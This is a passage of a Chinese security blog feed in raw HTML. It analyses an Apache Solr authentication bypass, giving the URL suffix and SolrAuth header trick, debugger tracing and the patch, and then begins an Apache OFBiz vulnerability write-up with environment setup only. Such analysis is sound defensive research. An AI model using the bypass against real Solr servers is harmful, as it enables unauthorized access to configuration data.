Cambria;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">在 url 后面添加</span></span><span style="text-align: left;text-indent: 0pt;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">:/admin/info/key</span><span style="font-family: Cambria;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">，向请求头中添加</span></span><span style="text-align: left;text-indent: 0pt;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SolrAuth</span><span style="font-family: Cambria;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">头，即可绕过身份验证，成功返回配置信息。</span></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="164" data-backw="578" data-galleryid="" data-imgfileid="100005159" data-ratio="0.28425925925925927" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=217cff1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAz7KaCS7icb2EbJcwHhVSwNdvl3IMGURGxLDslQJd6QHdA4mMtQ03wZZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span style="font-family: Cambria;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"></span></span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞分析</span></p><section style="margin-bottom: 8px;text-align: left;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">IDEA中添加配置，开始调试。<br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="251" data-backw="578" data-galleryid="" data-imgfileid="100005160" data-ratio="0.4340712223291627" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1039" src="https://wechat2rss.xlab.app/img-proxy/?k=f6e1ec6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAz0pWVkmTjj5teyF91jepO7A3zTYlvibbzAeI6f7yOsgEKNje7icjVW1xg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">先看看未登录情况下的身份认证流程。<br/>在 SolrDispatchFilter.doFilter() 断点，调用 authenticateRequest() 进行身份认证，如果返回 true，则说明认证通过。<br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="258" data-backw="578" data-galleryid="" data-imgfileid="100005161" data-ratio="0.4462962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=74d4dd77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzV9IvsMhzNY9sPI1ACUqWKMk1ibupQs5U4X2sRuibS9nxJpgCILibmCmeA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">跟进 authenticateRequest()，获取到认证插件为 security.json 中指定的 BasicAuthPlugin。<br/>下面对请求路径进行判断，如果路径匹配</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/info/key</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，则直接返回 true 。<br/>如果请求头中含有 SolrAuth 或 SolrAuthV2，则采用 PKIAuthenticationPlugin 认证插件。<br/>这些条件都不满足，调用当前 BasicAuthPlugin 插件的 authenticate() 方法进行认证，如果认证通过，则将 isAuthenticated 设为 true，返回认证成功的结果。</span></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="325" data-backw="578" data-galleryid="" data-imgfileid="100005162" data-ratio="0.5611111111111111" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b6a1e4d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzuEGeibdrbibZYQQjUBxIO9g4sicH7t4iaqREcj6R0mYWeM87icRPNFWI08Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">跟进到 BasicAuthPlugin.doAuthenticate()，判断了请求头中的 Authorization 字段，由于我们并没有登录信息，所以认证不通过，返回 false。<br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="94" data-backw="578" data-galleryid="" data-imgfileid="100005163" data-ratio="0.16203703703703703" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=33e34c16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzofwHc6iaOag3xXkGLZaqI75604JGTRuy3ibqF9ddUp8mN4jQn5PZwaWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">再来看看绕过后的认证流程。<br/>同样进入到 SolrDispatchFilter.authenticateRequest()，这时请求头中含有 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SolrAuth</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"> 字段，所以认证插件采用 PKIAuthenticationPlugin。<br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="179" data-backw="578" data-galleryid="" data-imgfileid="100005164" data-ratio="0.30925925925925923" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c19fd1c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzsm2OnEHMTia5qAaSGiarf4ou0xP9NALfuESs7l4HJ24QazPj8IQvYibhw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">跟进到 PKIAuthenticationPlugin.doAuthenticate() 进行认证，这里直接通过判断 URI 只要以</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/info/key</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">结尾就返回 true，所以成功通过 PKIAuthenticationPlugin 插件的认证。</span></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="151" data-backw="578" data-galleryid="" data-imgfileid="100005165" data-ratio="0.2611111111111111" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1798ad3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzZ6PNn0VFb0hXObyhv2zGs8icm50siarG5ZcDNqF4Lic0LKfOYJMj7KBfA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">SolrDispatchFilter.authenticateRequest() 也返回 true。<br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100005166" data-ratio="0.1111111111111111" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=004e4935&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzQhYRo64CCJMgOoIudFksuoGV3LdxSib11BvYcIJia3YWwue1zw11zztQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">继续跟进到 HttpSolrCall.init()，这里判断了路径中是否含有</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">:</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">号，有的话就只保留</span>:<span style="font-family: Cambria;font-variant: normal;text-transform: none;">号前的部分，于是 path 就变成了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/info/properties</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，这样就能获取到其对应的处理器。<br/>处理器不为 null，就给 HttpSolrCall 对象的 requestType 赋值为 RequestType.ADMIN，给 action 赋值为 Action.ADMIN，表示授予 admin 角色权限。<br/></span></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="391" data-backw="578" data-galleryid="" data-imgfileid="100005167" data-ratio="0.6769911504424779" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="904" src="https://wechat2rss.xlab.app/img-proxy/?k=683f7b46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAz5LzNuojjibAWaYjmGjpCHlM3RrNOdObibCcMvrbkp6cicqjw3K0UKt1Tg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">接着进入 HttpSolrCall.authorize()，调用 RuleBasedAuthorizationPluginBase.authorize() 进行授权，因为上面将 requestType 赋值为了 RequestType.ADMIN，所以这里进入 if 分支。mapping 是 security.json 中授予 admin 角色 security-edit 允许编辑安全配置的权限。</span></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="282" data-backw="578" data-galleryid="" data-imgfileid="100005168" data-ratio="0.48703703703703705" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e4e05b10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzrpyY3dShajN62kA4mnuaFgbmTLsFWv4UCXupQD1wP1d7P8Jc2IibozA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">跟进 checkCollPerm()，mapping 中没有找到</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/info/properties</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">的授权规则，继续跟进 checkPathPerm()，返回 NO_PERMISSIONS_FOUND 标识。<br/></span></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="249" data-backw="578" data-galleryid="" data-imgfileid="100005169" data-ratio="0.4305555555555556" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b559edf6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzJcMdicFCbbicPACVOQREmiaZ5roibbTQLEObvX3fPo6UmCLJnuLpNhTN7Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">接着获取了默认权限列表</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">{&#34;name&#34;:&#34;security-edit&#34;,&#34;role&#34;:&#34;admin&#34;}</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，继续检查权限列表是否适用与当前请求。</span></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="228" data-backw="578" data-galleryid="" data-imgfileid="100005170" data-ratio="0.39444444444444443" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c9e6afda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzUADO9Ca6FD2EiacmTN5iaHu9GK6cNlQ5A7c9Ln39l2lYhGn9NKnk0x1w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">遍历权限列表，到 predefinedPermissionAppliesToRequest()，context.getHandler() 不是 PermissionNameProvider 类型，不适用于当前权限，返回 false。<br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="270" data-backw="578" data-galleryid="" data-imgfileid="100005171" data-ratio="0.4666666666666667" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1e23ad7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzkYQ19G479CtlFdv5j8F08ZgHHQtVJKThDYAoYAnSF9I815Pyqqtltg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">最后还是返回 NO_PERMISSIONS_FOUND 标识，状态码为 200。<br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="189" data-backw="578" data-galleryid="" data-imgfileid="100005172" data-ratio="0.32685185185185184" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b20c6511&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzibnpiasLibibcKKicV9mm08vXB7c5l3iaGMLS8xEibpJBbgrn2xiaOJndc6h5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">HttpSolrCall.authorize() 返回 null，表示授权成功，继续处理流程。</span></span></section><p style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="223" data-backw="578" data-galleryid="" data-imgfileid="100005173" data-ratio="0.3861111111111111" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cc324906&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAz9dfHnH8ubYv6mDjEhMicAKr2GohibmHBGOBicGUzNC7muZsza3oZ0F7fQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span>    </span><o:page></o:page></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">5. 补丁分析</span></p><section style="margin-bottom: 8px;text-align: left;"><span style="font-size: 18px;">在 8.11.4 版本中，将 PKIAuthenticationPlugin.doAuthenticate() 中判断路径是否以</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/info/key</span><span style="font-size: 18px;">结尾的代码删掉了，所以当使用 PKIAuthenticationPlugin 插件进行身份认证时，这一步不会返回 true，也就无法再利用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/info/key</span><span style="font-size: 18px;">结尾来绕过身份认证。</span><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;"><br/></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="182" data-backw="578" data-galleryid="" data-imgfileid="100005174" data-ratio="0.3148148148148148" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1b1e49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAziaetO3YzNPYtVIQoT66heIh0WkpukRHcGQy7ic6WCCwAu6F6bfzkH6FA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;">HttpSolrCall.init() 中截取</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">:</span><span style="font-size: 18px;">号前路径的代码也被删除了，URL路径假结尾无法被剥离，就无法获取到正确的处理器，不会进入下面的 if 分支，就无法被授予 ADMIN 角色权限。</span><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;"></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="174" data-backw="578" data-galleryid="" data-imgfileid="100005175" data-ratio="0.30185185185185187" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f72373c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzUqbPvrcs8NQIrSmy0VBvLApgqoTBKkXRicg3YauMibAwxRTdkKmysy0Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style="font-size: 18px;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;"></span>    </span><o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488827">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=134940ce&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488827%26idx%3D1%26sn%3Df3086118f07d69c4ba6746464f993e16%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Dec 2024 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache OFBiz 命令执行漏洞分析（CVE-2024-45195、CVE-2024-45507）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488799&amp;idx=1&amp;sn=3fcedfd76ad5aa653ae31e9acc7ceacc</link>
      <description>CVE-2024-45195：通过目录遍历可以绕过授权验证实现命令执行。&#xD;&#xA;CVE-2024-45507：由于Apache OFBiz在从 Groovy 加载文件时对URL 的验证不足，导致远程攻击者可以通过SSRF的方式向任意系统发起请求。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2024-11-13 17:31</span> <span style="display: inline-block;">浙江</span>
</p>

<p>CVE-2024-45195：通过目录遍历可以绕过授权验证实现命令执行。</p>
<p>CVE-2024-45507：由于Apache OFBiz在从 Groovy 加载文件时对URL 的验证不足，导致远程攻击者可以通过SSRF的方式向任意系统发起请求。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7ecc06c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSF13chzA5UuIGH2S3pnSibb1fwneOkaGlQ1iab6JfFSsKoPyzwfrTgibPLQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: left;margin-bottom: 0px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-decoration: underline;">1. 环境搭建</span><span style="text-align: justify;font-size: 16px;letter-spacing: 0.034em;">   </span><br/></p><p><span style="font-size: 18px;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;">下载地址：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://archive.apache.org/dist/ofbiz/" target="_blank">https://archive.apache.org/dist/ofbiz/</a></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;font-size: 18px;">解压后用 IDEA 打开，点击右侧栏 Gradle 中的 build 之后会生成一个 biuld 目录，该目录下面会生成一个 ofbiz.jar，Run/Debug Configurations 中会自动生成一个 Gradle 配置项；</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;font-size: 18px;">新增 JAR Application，添加指定 ofbiz.jar 路径。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="291" data-backw="578" data-imgfileid="100005132" data-ratio="0.504" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=548b7095&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSF4TPULibwic2JJD4k2icuAJibp5x0wbxvoMzTeyZ1n7cOvYg7CHA3oXrxwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;font-size: 18px;">启动这个jar。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="325" data-backw="560" data-imgfileid="100005108" data-ratio="0.5812206572769953" style="width: 100%;height: auto;" data-type="png" data-w="1065" src="https://wechat2rss.xlab.app/img-proxy/?k=71ec21f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFBo6pYcFAoEKTxeksN4ucRZ5V3rBtauN4Nct6ww4KNPcFLPibeIoPd9Q%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;">能成功访问 </span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://localhost:8443/webtools" target="_blank">https://localhost:8443/webtools</a></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 就说明环境搭好了。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="177" data-backw="560" data-imgfileid="100005107" data-ratio="0.31584948688711517" style="width: 100%;height: auto;" data-type="png" data-w="877" src="https://wechat2rss.xlab.app/img-proxy/?k=016806ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFh3tLsbcX0JsuENjXThGA9Moyx6icX8pVqSvvkCAVZh4vOyacj4A6nNA%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 style="margin-bottom: 16px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica 